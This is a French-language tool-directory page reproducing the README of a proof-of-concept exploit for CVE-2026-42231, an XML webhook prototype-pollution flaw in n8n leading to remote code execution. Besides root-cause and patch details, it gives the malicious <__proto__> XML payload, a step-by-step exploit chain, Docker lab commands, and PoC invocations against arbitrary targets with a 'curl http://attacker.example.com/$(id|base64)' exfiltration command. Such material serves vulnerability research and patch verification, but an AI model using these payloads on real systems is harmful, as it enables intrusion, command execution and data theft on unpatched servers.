Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-42231 — Preuve de concept d'exploitation pour CVE-2026-42231, une vulnérabilité critique de pollution de prototype dans les webhooks XML de n8n menant à une exécution de code à distance. Inclut un laboratoire Docker, un PoC Python et un vérificateur Node.js. | Kitploit
Outils/GitHubGitHub/rudsarkar/cve-2026-42231
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité Web
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

Preuve de concept d'exploitation pour CVE-2026-42231, une vulnérabilité critique de pollution de prototype dans les webhooks XML de n8n menant à une exécution de code à distance. Inclut un laboratoire Docker, un PoC Python et un vérificateur Node.js.

Voir le dépôt
16il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

GHSA-q5f4-99jv-pgg5 — Pollution de prototype XML Webhook n8n → RCE

CVE: CVE-2026-42231
Sévérité: Critique (CVSS 10.0)
Versions affectées: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corrigé dans: n8n 1.123.32 / 2.17.4 / 2.18.1


Résumé de la vulnérabilité

packages/cli/src/middlewares/body-parser.ts crée un singleton xml2js Parser au niveau du module sans tagNameProcessors ni attrNameProcessors. Cela permet à un attaquant d'envoyer un corps de webhook XML contenant un élément <__proto__>.

xml2js 0.6.2 utilise Object.defineProperty avec un descripteur de données pour définir les clés d'éléments sur les objets analysés. Comme '__proto__' in obj est toujours true, assignOrPush() enveloppe la valeur dans un tableau et la stocke comme propriété de données énumérable propre — contournant l'accesseur [[Set]] qui mettrait normalement à jour la chaîne de prototypes en toute sécurité.

La propriété propre __proto__ survit à JSON.stringify (exécuté lorsque n8n persiste les données d'exécution dans SQLite/PostgreSQL), et après JSON.parse au rechargement, un Object.assign(target, reloadedBody) ultérieur redirige le prototype de target vers l'objet contrôlé par l'attaquant.

Dans les workflows contenant également un nœud Git effectuant une opération SSH, le prototype pollué expose une valeur spawnOptions / GIT_SSH_COMMAND à simple-git's createInstanceConfig, permettant l'exécution de commandes au niveau du système d'exploitation.


Cause racine

// packages/cli/src/middlewares/body-parser.ts  (VULNÉRABLE — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // met les balises en minuscules — mais ne bloque PAS __proto__
    explicitArray: false,
    // ← PAS de tagNameProcessors
    // ← PAS de attrNameProcessors
});

Correctif (>= 1.123.32):

function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

Chaîne d'exploitation

1. L'attaquant envoie un POST XML à un déclencheur Webhook public :

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. L'analyseur de corps xml2js crée req.body.root où '__proto__' est une
   PROPRIÉTÉ DE DONNÉES ÉNUMÉRABLE PROPRE :
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. deepCopy() de n8n itère les clés propres via for...in + hasOwnProp.
   L'affectation  clone['__proto__'] = deepCopy(attackerArray)
   remplace silencieusement le prototype de clone via l'accesseur [[Set]].

4. n8n sérialise les données d'exécution vers la base de données :
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   La clé __proto__ est incluse car elle est propre et énumérable.
   Confirmé dans la table execution_data dans SQLite.

5. Au rechargement, JSON.parse recrée '__proto__' comme propriété de données propre
   (objet simple, sans enveloppe de tableau).
      Object.assign(gitOptions, reloadedBody)
   redirige le prototype de gitOptions vers l'objet contrôlé par l'attaquant.

6. Lorsque le nœud Git appelle simpleGit(gitOptions) :
      createInstanceConfig(gitOptions)
   lit config.spawnOptions via la chaîne de prototypes → truthy →
   spawnOptionsPlugin est enregistré.
   Avec GIT_SSH_COMMAND dans l'objet env, git exécute la commande de
   l'attaquant lors de la prochaine opération SSH.

Note sur normalizeTags

normalizeTags: true met toutes les balises XML en minuscules, donc les éléments enfants comme <GIT_SSH_COMMAND> deviennent git_ssh_command dans l'objet analysé. Pour préserver la casse des noms de variables d'environnement, utilisez des attributs XML (les noms d'attributs ne sont pas normalisés par normalizeTags) :

<env GIT_SSH_COMMAND="attacker_cmd"/>

Prérequis

  1. Un déclencheur Webhook public (Authentification = Aucune, Content-Type = XML) doit exister dans un workflow actif.
  2. Pour le chemin RCE complet, le workflow doit également contenir un nœud Git effectuant une opération authentifiée SSH (clone / push via URL SSH).
  3. Version n8n < 1.123.32.

Configuration du laboratoire

Exigences

  • Docker ≥ 24 avec Compose v2
  • Python 3.9+ (pour l'utilisation autonome du PoC sans Docker)
  • Port 5678 libre sur localhost

Configuration en une commande

chmod +x exploit.sh
./exploit.sh setup

Cela télécharge n8nio/n8n:1.123.22 (dernière version affectée), construit l'image de l'attaquant, démarre la cible vulnérable à http://localhost:5678, crée et active automatiquement un workflow webhook, et enregistre l'URL du webhook dans .webhook_state.


Procédure d'exploitation de bout en bout

1. Configuration

./exploit.sh setup

Sortie attendue (tronquée) :

[*] Téléchargement de l'image n8n vulnérable (1.123.22) ...
[*] Construction de l'image de l'attaquant ...
[*] Démarrage de la cible n8n vulnérable ...
[*] Attente que n8n devienne sain ...
[*] Création du workflow webhook (Webhook → nœud Code) ...
[+] Laboratoire prêt.

    Exécutez :  ./exploit.sh demo        # vérifier la primitive de pollution
                ./exploit.sh exploit     # délivrer les trois payloads RCE

2. Vérifier la primitive de pollution (mode démo)

./exploit.sh demo

Le PoC envoie un payload de vérification et affiche le corps analysé renvoyé par le workflow n8n. Une instance vulnérable renvoie :

[+] HTTP 200
    Réponse : {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. Délivrer les payloads à intention RCE

./exploit.sh exploit
# ou avec une commande personnalisée :
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

Trois payloads complémentaires sont délivrés :

PayloadTechnique
ABalise <__proto__> — GIT_SSH_COMMAND comme attribut XML
BChaîne <constructor><prototype>
C<__proto__> imbriqué avec attributs env

4. Observer le résultat (avec nœud Git dans le workflow)

  • Dans le journal d'exécution n8n, recherchez l'erreur de commande git — elle inclura la sortie de votre GIT_SSH_COMMAND injecté si le RCE a fonctionné.
  • En mode démo avec le nœud Code, le corps de réponse du workflow contiendra "step4_objectAssignPolluted": true confirmant la chaîne.

Utilisation autonome (sans Docker)

pip install -r requirements.txt

# Vérification uniquement — aucun nœud Git requis :
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <chemin-webhook> \
    --demo

# Exploitation complète — nécessite un workflow Webhook + Git/SSH :
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <chemin-webhook> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

Format d'URL Webhook (n8n v1.123.x)

Télécharger l’outil